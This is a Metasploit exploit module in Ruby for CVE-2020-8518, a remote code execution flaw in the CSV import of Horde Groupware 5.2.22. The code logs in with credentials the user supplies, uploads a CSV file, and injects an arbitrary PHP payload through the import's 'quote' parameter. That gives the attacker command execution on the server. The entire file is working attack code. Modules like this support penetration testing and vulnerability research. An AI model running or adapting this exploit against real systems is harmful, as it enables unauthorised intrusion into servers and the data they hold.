## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super( update_info( info, 'Name' => 'Horde CSV import arbitrary PHP code execution', 'Description' => %q{ The Horde_Data module version 2.1.4 (and before) present in Horde Groupware version 5.2.22 allows authenticated users to inject arbitrary PHP code thus achieving RCE on the server hosting the web application. }, 'License' => MSF_LICENSE, 'Author' => ['Andrea Cardaci '], 'References' => [ ['CVE', '2020-8518'], ['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/'] ], 'DisclosureDate' => '2020-02-07', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Payload' => {'BadChars' => "'"}, 'Privileged' => false, 'DefaultOptions' => { 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ]) end def login username = datastore['USERNAME'] password = datastore['PASSWORD'] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'login.php'), 'cookie' => 'Horde=x', # avoid multiple Set-Cookie 'vars_post' => { 'horde_user' => username, 'horde_pass' => password, 'login_post' => '1'}) unless res && res.code == 302 && res.headers['Location'].include?('/services/portal/') fail_with(Failure::UnexpectedReply, 'Login failed or application not found') end vprint_good("Logged in as #{username}:#{password}") return res.get_cookies end def upload_csv(cookie) csv_fname = Rex::Text.rand_text_alpha(6..8) data = Rex::MIME::Message.new data.add_part('11', nil, nil, 'form-data; name="actionID"') data.add_part('1', nil, nil, 'form-data; name="import_step"') data.add_part('csv', nil, nil, 'form-data; name="import_format"') data.add_part('x', nil, nil, 'form-data; name="notepad_target"') data.add_part(csv_fname, nil, nil, "form-data; name=\"import_file\"; filename=\"#{csv_fname}\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'mnemo/data.php'), 'cookie' => cookie, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s) vprint_status("Uploading #{csv_fname}.csv") unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file') end vprint_good('CSV file uploaded') end def execute(cookie, function_call) options = { 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'mnemo/data.php'), 'cookie' => cookie, 'vars_post' => { 'actionID' => '3', 'import_step' => '2', 'import_format' => 'csv', 'header' => '1', 'fields' => '1', 'sep' => 'x', 'quote' => ").#{function_call}.die();}//\\"}} send_request_cgi(options) end def exploit cookie = login() upload_csv(cookie) # do not terminate the statement function_call = payload.encoded.tr(';', '') vprint_status("Sending payload: #{function_call}") execute(cookie, function_call) end end